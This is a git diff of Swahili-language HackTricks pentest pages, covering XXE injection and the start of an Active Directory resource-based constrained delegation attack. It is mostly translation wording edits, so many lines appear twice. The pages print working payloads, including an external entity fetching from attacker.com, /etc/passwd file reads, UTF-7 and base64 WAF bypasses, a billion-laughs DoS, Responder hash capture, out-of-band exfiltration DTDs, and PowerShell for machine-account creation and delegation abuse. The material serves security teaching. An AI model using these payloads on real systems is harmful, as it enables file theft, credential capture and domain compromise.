Mbinu ya kuvuruga mchakato huu katika hatua ya pili inajumuisha kuweka uhusiano wa seva ukiwa wazi milele wakati wa kutumikia faili ya kiwango. Zana zilizopo kwenye [hifadhi hii](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) zinaweza kutumika kwa madhumuni haya, ikiwa ni pamoja na seva ya Python (`slow_http_server.py`) na seva ya Java (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Kuandika faili katika saraka ya muda inaweza kusaidia **kuongeza udhaifu mwingine unaohusisha upitishaji wa njia** (kama vile kuingiza faili za ndani, kuingiza templeti, XSLT RCE, uhariri wa data, nk).
|
||||
Kuandika faili katika saraka ya muda inaweza kusaidia **kuongeza udhaifu mwingine unaohusisha upitishaji wa njia** (kama vile kuingiza faili za ndani, kuingiza templeti, XSLT RCE, kufanya upya, nk).
|
||||
{% endhint %}
|
||||
|
||||
### XSS
|
||||
|
@ -263,7 +267,7 @@ Kuandika faili katika saraka ya muda inaweza kusaidia **kuongeza udhaifu mwingin
|
|||
```
|
||||
### DoS
|
||||
|
||||
#### Shambulio la Bilioni ya Kicheko
|
||||
#### Shambulizi la Bilioni ya Kicheko
|
||||
```xml
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY a0 "dos" >
|
||||
|
@ -292,7 +296,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
|||
|
||||
#### Kupata NTML
|
||||
|
||||
Kwenye mwenyeji wa Windows, inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka kikundi cha kushughulikia cha responder.py:
|
||||
Kwenye mwenyeji wa Windows, inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka kikokotoo cha responder.py:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
|
@ -306,7 +310,7 @@ na kwa kutuma ombi lifuatalo
|
|||
|
||||
### XInclude
|
||||
|
||||
Wakati wa kuunganisha data ya mteja katika nyaraka za XML upande wa seva, kama vile zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi huwa mdogo, kuzuia mashambulizi ya kawaida ya XXE kutokana na vizuizi kwenye kuhariri kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` hutoa suluhisho kwa kuruhusu uingizaji wa vipande vya nje ndani ya kipengele chochote cha data ya nyaraka ya XML. Mbinu hii ni yenye ufanisi hata wakati sehemu tu ya data ndani ya nyaraka ya XML iliyozalishwa na seva inaweza kudhibitiwa.
|
||||
Wakati unapoingiza data ya mteja kwenye nyaraka za XML upande wa seva, kama vile zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi unakuwa mdogo, ukizuia mashambulizi ya kawaida ya XXE kutokana na vizuizi kwenye kuhariri kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` hutoa suluhisho kwa kuruhusu uingizaji wa vitengo vya nje ndani ya kipengele chochote cha data ya nyaraka ya XML. Mbinu hii ni yenye ufanisi hata wakati sehemu tu ya data ndani ya nyaraka ya XML iliyozalishwa na seva inaweza kudhibitiwa.
|
||||
|
||||
Ili kutekeleza shambulio la `XInclude`, jina la nafasi ya `XInclude` lazima itangazwe, na njia ya faili kwa kipengele cha nje kilichokusudiwa lazima itajwe. Hapa chini ni mfano wa kifupi jinsi shambulio kama hilo linavyoweza kuundwa:
|
||||
```xml
|
||||
|
@ -316,9 +320,9 @@ Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-s
|
|||
|
||||
### SVG - Kupakia Faili
|
||||
|
||||
Faili zilizopakiwa na watumiaji kwenye programu fulani, ambazo kisha hupitishwa kwenye seva, zinaweza kutumia udhaifu katika jinsi faili za XML au zinazoambatisha XML zinavyoshughulikiwa. Miundo ya faili ya kawaida kama nyaraka za ofisi (DOCX) na picha (SVG) inategemea XML.
|
||||
Faili zilizopakiwa na watumiaji kwenye programu fulani, ambazo kisha hupitishwa kwenye seva, zinaweza kutumia mapungufu katika jinsi faili za XML au zinazoambatana na XML zinavyoshughulikiwa. Miundo ya faili ya kawaida kama nyaraka za ofisi (DOCX) na picha (SVG) inategemea XML.
|
||||
|
||||
Wakati watumiaji **wanapopakia picha**, picha hizi hupitishwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia miundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na wachomaji kutekeleza picha za SVG zenye nia mbaya, hivyo kuweka seva wazi kwa udhaifu wa XXE (XML External Entity).
|
||||
Wakati watumiaji **wanapopakia picha**, picha hizi hupitishwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia miundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na wachomaji kutekeleza picha za SVG zenye nia mbaya, hivyo kuweka seva wazi kwa mapungufu ya XXE (XML External Entity).
|
||||
|
||||
Mfano wa shambulio kama hilo unaweza kuonekana hapa chini, ambapo picha ya SVG yenye nia mbaya inajaribu kusoma faili za mfumo:
|
||||
```xml
|
||||
|
@ -334,11 +338,11 @@ Katika hali zote, muundo wa SVG hutumiwa kuzindua mashambulizi yanayotumia uwezo
|
|||
|
||||
Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) kwa maelezo zaidi!
|
||||
|
||||
**Tafadhali kumbuka kwamba mstari wa kwanza wa faili iliyosomwa au ya matokeo ya utekelezaji utaonekana NDANI ya picha iliyoundwa. Kwa hivyo, unahitaji kuweza kupata picha ambayo SVG imeunda.**
|
||||
**Tafadhali kumbuka kwamba mstari wa kwanza wa faili iliyosomwa au matokeo ya utekelezaji yataonekana NDANI ya picha iliyoundwa. Kwa hivyo, unahitaji kuweza kupata picha ambayo SVG imeunda.**
|
||||
|
||||
### **PDF - Kuleta faili**
|
||||
|
||||
Soma chapisho lifuatalo ili **kujifunza jinsi ya kutumia XXE kuleta faili ya PDF**:
|
||||
Soma chapisho lifuatalo kujifunza jinsi ya kutumia XXE kupakia faili ya PDF:
|
||||
|
||||
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
||||
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
|
@ -394,17 +398,17 @@ Content-Type: application/xml;charset=UTF-8
|
|||
```
|
||||
Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
|
||||
## WAF & Mipitishaji wa Kinga
|
||||
## WAF & Mipito ya Kinga
|
||||
|
||||
### Base64
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
Hii inafanya kazi ikiwa seva ya XML inakubali itifaki ya `data://`.
|
||||
Hii inafanya kazi tu ikiwa seva ya XML inakubali itifaki ya `data://`.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Unaweza kutumia \[**"Mchanganyiko wa Kubadilisha" ya cyberchef hapa ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kwa UTF-7.
|
||||
Unaweza kutumia \[**"Mwongozo wa Kubadilisha" wa cyberchef hapa ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kwa UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
|
@ -470,9 +474,9 @@ Mfano wa DTD:
|
|||
```
|
||||
## XLIFF - XXE
|
||||
|
||||
Mfano huu unainspiriwa na [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
Mfano huu unainspira kutoka [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) hutumiwa kustandardisha kubadilishana data katika michakato ya uanishaji. Ni muundo uliojikita kwenye XML unaotumiwa hasa kwa kusafirisha data inayoweza kuanishwa kati ya zana wakati wa uanishaji na kama muundo wa kawaida wa kubadilishana kwa zana za CAT (Computer-Aided Translation).
|
||||
XLIFF (XML Localization Interchange File Format) hutumiwa kustandardisha kubadilishana data katika mchakato wa uanishaji. Ni muundo uliojikita kwenye XML unaotumiwa hasa kwa kusafirisha data inayoweza kuanishwa kati ya zana wakati wa uanishaji na kama muundo wa kawaida wa kubadilishana kwa zana za CAT (Computer-Aided Translation).
|
||||
|
||||
### Uchambuzi wa Ombi Bubu
|
||||
|
||||
|
@ -488,13 +492,13 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Hata hivyo, ombi hili linaanzisha kosa la seva la ndani, likitaja hasa tatizo na tamko la alama za alama:
|
||||
Hata hivyo, ombi hili linaanzisha kosa la seva la ndani, likitaja hasa tatizo na matangazo ya alama:
|
||||
```json
|
||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||
```
|
||||
Licha ya kosa, hiti imeandikishwa kwenye Burp Collaborator, ikionyesha kiwango fulani cha mwingiliano na kifaa cha nje.
|
||||
|
||||
Udhalilishaji wa Data Nje ya Bandari Ili kudhalilisha data, ombi lililobadilishwa hutumwa:
|
||||
Udakuzi wa Data Nje ya Bandari Ili kudakua data, ombi lililobadilishwa hutumwa:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
|
@ -508,7 +512,7 @@ Content-Type: application/x-xliff+xml
|
|||
```
|
||||
Hii njia inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotambuliwa na toleo hili la Java ni uwezo wa kurejesha faili zinazohusisha herufi mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
|
||||
|
||||
Udakuzi wa Data kwa Makosa Ili kushinda kikwazo hiki, njia ya Udakuzi wa Data kwa Makosa inatumika. Faili ya DTD imeandaliwa kama ifuatavyo kusababisha kosa ambalo linajumuisha data kutoka kwa faili ya lengo:
|
||||
Udhalilishaji wa Data kwa Makosa Ili kushinda kikwazo hiki, njia ya Udhalilishaji wa Data kwa Makosa inatumika. Faili ya DTD imeandaliwa kama ifuatavyo kusababisha kosa ambalo linajumuisha data kutoka kwa faili ya lengo:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
|
@ -526,7 +530,7 @@ Kuingiza maudhui ya faili kwenye ujumbe wa kosa, faili ya DTD imeboreshwa:
|
|||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Hii mabadiliko inapelekea kufanikiwa kwa kuvuja kwa maudhui ya faili, kama ilivyoonyeshwa kwenye pato la kosa lililotumwa kupitia HTTP. Hii inaashiria shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based kutoa taarifa nyeti.
|
||||
Hii mabadiliko inapelekea kuvuja kwa maudhui ya faili, kama inavyoonekana katika matokeo ya kosa yaliyotumwa kupitia HTTP. Hii inaashiria shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based kutoa taarifa nyeti.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
|
@ -680,6 +684,10 @@ XMLDecoder ni darasa la Java ambalo hujenga vitu kulingana na ujumbe wa XML. Iki
|
|||
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -687,7 +695,7 @@ XMLDecoder ni darasa la Java ambalo hujenga vitu kulingana na ujumbe wa XML. Iki
|
|||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -1,57 +1,61 @@
|
|||
# Utekelezaji wa Kikomo cha Utekelezaji kwa Msingi wa Raslimali
|
||||
# Kudhibiti Uteuzi Kulingana na Rasilimali
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Misingi ya Kikomo cha Utekelezaji kwa Msingi wa Raslimali
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hii ni sawa na [Utekelezaji wa Kikomo](constrained-delegation.md) lakini **badala yake** ya kutoa ruhusa kwa **kitu** kuwa **wakilishi wa mtumiaji yeyote dhidi ya huduma**. Kikomo cha Utekelezaji kwa Msingi wa Raslimali **hukiweka** katika **kitu ni nani anayeweza kuwa wakilishi wa mtumiaji yeyote dhidi yake**.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Katika kesi hii, kitu kilichopunguzwa kitakuwa na sifa inayoitwa _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ na jina la mtumiaji ambaye anaweza kuwa wakilishi wa mtumiaji mwingine yeyote dhidi yake.
|
||||
## Misingi ya Kudhibiti Uteuzi Kulingana na Rasilimali
|
||||
|
||||
Tofauti muhimu nyingine kati ya Utekelezaji huu wa Kikomo na utekelezaji mwingine ni kwamba mtumiaji yeyote mwenye **ruhusa ya kuandika juu ya akaunti ya kompyuta** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/n.k_) anaweza kuweka _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Katika aina nyingine za Utekelezaji, unahitaji uwezo wa msimamizi wa kikoa).
|
||||
Hii inafanana na [Uteuzi Uliodhibitiwa](constrained-delegation.md) lakini **badala** ya kutoa ruhusa kwa **kitu** kuwa **kijifanya kuwa mtumiaji yeyote dhidi ya huduma**. Uteuzi Uliodhibitiwa Kulingana na Rasilimali **huanzisha** kwenye **kitu ni nani anayeweza kujifanya kuwa mtumiaji yeyote dhidi yake**.
|
||||
|
||||
Katika kesi hii, kitu kilichodhibitiwa kitakuwa na sifa inayoitwa _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ na jina la mtumiaji ambaye anaweza kujifanya kuwa mtumiaji mwingine yeyote dhidi yake.
|
||||
|
||||
Tofauti muhimu nyingine kati ya Uteuzi Uliodhibitiwa huu na uteuzi mwingine ni kwamba mtumiaji yeyote mwenye **ruhusa za kuandika juu ya akaunti ya mashine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/n.k_) anaweza kuweka _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Katika aina zingine za Uteuzi ulihitaji mamlaka ya msimamizi wa kikoa).
|
||||
|
||||
### Dhana Mpya
|
||||
|
||||
Katika Utekelezaji wa Kikomo, ilisemwa kuwa bendera ya **`TrustedToAuthForDelegation`** ndani ya thamani ya _userAccountControl_ ya mtumiaji inahitajika kufanya **S4U2Self.** Lakini hiyo sio ukweli kamili.\
|
||||
Ukweli ni kwamba hata bila thamani hiyo, unaweza kufanya **S4U2Self** dhidi ya mtumiaji yeyote ikiwa wewe ni **huduma** (una SPN) lakini, ikiwa una **`TrustedToAuthForDelegation`** TGS iliyorejeshwa itakuwa **inayoweza kupelekwa** na ikiwa **huna** bendera hiyo TGS iliyorejeshwa **haitakuwa** inayoweza kupelekwa.
|
||||
Kurudi kwa Uteuzi Uliodhibitiwa kulieleza kuwa bendera ya **`TrustedToAuthForDelegation`** ndani ya thamani ya _userAccountControl_ ya mtumiaji inahitajika kufanya **S4U2Self.** Lakini hiyo sio ukweli kamili.\
|
||||
Ukweli ni kwamba hata bila thamani hiyo, unaweza kufanya **S4U2Self** dhidi ya mtumiaji yeyote ikiwa wewe ni **huduma** (una SPN) lakini, ikiwa una **`TrustedToAuthForDelegation`** TGS itarudi itakuwa **inayoweza kusonga mbele** na ikiwa **huna** bendera hiyo TGS itarudi **haitaweza** kusonga mbele.
|
||||
|
||||
Walakini, ikiwa **TGS** inayotumiwa katika **S4U2Proxy** **HAIWEZI kupelekwa** jaribio la kudukua **Utekelezaji wa Kikomo wa Kawaida** **halitafanya kazi**. Lakini ikiwa unajaribu kudukua **Utekelezaji wa Kikomo kwa Msingi wa Raslimali, itafanya kazi** (hii sio udhaifu, ni kipengele, kwa kuonekana).
|
||||
Hata hivyo, ikiwa **TGS** inayotumiwa katika **S4U2Proxy** **HAITAWEZI kusonga mbele** jaribio la kutumia **Uteuzi Uliodhibitiwa wa Msingi wa Rasilimali** **halitafanya kazi**. Lakini ikiwa unajaribu kudukua **Uteuzi Uliodhibitiwa Kulingana na Rasilimali, itafanya kazi** (hii sio udhaifu, ni kipengele, kwa mujibu wa ripoti).
|
||||
|
||||
### Muundo wa Shambulio
|
||||
|
||||
> Ikiwa una **ruhusa sawa na kuandika** juu ya akaunti ya **Kompyuta** unaweza kupata **upatikanaji wa haki** kwenye kompyuta hiyo.
|
||||
> Ikiwa una **ruhusa sawa za kuandika** juu ya akaunti ya **Kompyuta** unaweza kupata **upatikanaji wa haki** kwenye kompyuta hiyo.
|
||||
|
||||
Fikiria kuwa mshambuliaji tayari ana **ruhusa sawa na kuandika** juu ya kompyuta ya mwathirika.
|
||||
Fikiria kuwa mkaidi tayari ana **ruhusa sawa za kuandika juu ya kompyuta ya mwathiriwa**.
|
||||
|
||||
1. Mshambuliaji **anadukua** akaunti ambayo ina **SPN** au **inaunda moja** ("Huduma A"). Kumbuka kwamba **mtumiaji yeyote** wa _Admin_ bila haki maalum nyingine yoyote anaweza **kuunda** hadi 10 **vitu vya Kompyuta (**_**MachineAccountQuota**_**)** na kuweka SPN. Kwa hivyo mshambuliaji anaweza tu kuunda kitu cha Kompyuta na kuweka SPN.
|
||||
2. Mshambuliaji **anatumia ruhusa yake ya KUANDIKA** juu ya kompyuta ya mwathirika (HudumaB) kuwezesha **utekelezaji uliopunguzwa kwa msingi wa raslimali kuruhusu HudumaA kuwa wakilishi wa mtumiaji yeyote** dhidi ya kompyuta hiyo ya mwathirika (HudumaB).
|
||||
3. Mshambuliaji anatumia Rubeus kufanya **shambulio kamili la S4U** (S4U2Self na S4U2Proxy) kutoka Huduma A kwenda Huduma B kwa mtumiaji **mwenye upatikanaji wa haki kwenye Huduma B**.
|
||||
1. S4U2Self (kutoka akaunti iliyodukuliwa/iliyoundwa ya SPN): Uliza TGS ya **Msimamizi kwangu** (Isiyoweza kupelekwa).
|
||||
2. S4U2Proxy: Tumia TGS **isiyoweza kupelekwa** ya hatua iliyotangulia kuomba TGS kutoka **Msimamizi** kwenda **mwenyeji wa mwathirika**.
|
||||
3. Hata ikiwa unatumia TGS isiyoweza kupelekwa, kwa kuwa unatumia utekelezaji uliopunguzwa kwa msingi wa raslimali, itafanya kazi.
|
||||
4. Mshambuliaji anaweza **kupitisha tiketi** na **kuwa wakilishi** wa mtumiaji ili kupata **upatikanaji wa HudumaB**.
|
||||
1. Mkaidi **anashambulia** akaunti ambayo ina **SPN** au **inaunda moja** (“Huduma A”). Kumbuka kwamba **mtumiaji yeyote** wa _Msimamizi_ bila ruhusa maalum nyingine yoyote anaweza **kuunda** hadi 10 **vitu vya Kompyuta (**_**MachineAccountQuota**_**)** na kuweka SPN. Kwa hivyo mkaidi anaweza tu kuunda kitu cha Kompyuta na kuweka SPN.
|
||||
2. Mkaidi **anatumia ruhusa yake YA KUANDIKA** juu ya kompyuta ya mwathiriwa (HudumaB) kusanidi **uteuzi uliodhibitiwa kulingana na rasilimali kuruhusu HudumaA kujifanya kuwa mtumiaji yeyote** dhidi ya kompyuta hiyo ya mwathiriwa (HudumaB).
|
||||
3. Mkaidi anatumia Rubeus kufanya shambulio la **kamili la S4U** (S4U2Self na S4U2Proxy) kutoka Huduma A kwenda Huduma B kwa mtumiaji **mwenye upatikanaji wa haki kwenye Huduma B**.
|
||||
1. S4U2Self (kutoka akaunti iliyodukuliwa/iliyoundwa na SPN): Uliza **TGS ya Msimamizi kwangu** (Isiyoweza kusonga mbele).
|
||||
2. S4U2Proxy: Tumia **TGS isiyoweza kusonga mbele** ya hatua iliyotangulia kuomba **TGS** kutoka kwa **Msimamizi** kwenda kwa **mwenyeji wa mwathiriwa**.
|
||||
3. Hata ikiwa unatumia TGS isiyoweza kusonga mbele, kwa kuwa unatumia uteuzi uliodhibitiwa kulingana na rasilimali, itafanya kazi.
|
||||
4. Mkaidi anaweza **kupitisha-tiketi** na **kujifanya** kuwa mtumiaji kupata **upatikanaji wa HudumaB**.
|
||||
|
||||
Ili kuchunguza _**MachineAccountQuota**_ ya kikoa, unaweza kutumia:
|
||||
Ili kuangalia _**MachineAccountQuota**_ ya kikoa unaweza kutumia:
|
||||
```powershell
|
||||
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
|
||||
```
|
||||
## Shambulizi
|
||||
|
||||
### Kuunda Kitu cha Kompyuta
|
||||
### Kuunda Kielelezo cha Kompyuta
|
||||
|
||||
Unaweza kuunda kitu cha kompyuta ndani ya kikoa kwa kutumia [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
|
||||
Unaweza kuunda kielelezo cha kompyuta ndani ya kikoa kwa kutumia [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
|
||||
```powershell
|
||||
import-module powermad
|
||||
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
|
@ -59,7 +63,7 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
|
|||
# Check if created
|
||||
Get-DomainComputer SERVICEA
|
||||
```
|
||||
### Kuwezesha Utekelezaji wa Rasilimali kwa Kizuizi
|
||||
### Kuweka Rasilimali Inayotegemea Uteuzi wa Kikomo
|
||||
|
||||
**Kutumia moduli ya PowerShell ya activedirectory**
|
||||
```powershell
|
||||
|
@ -67,19 +71,6 @@ Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #
|
|||
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
||||
```
|
||||
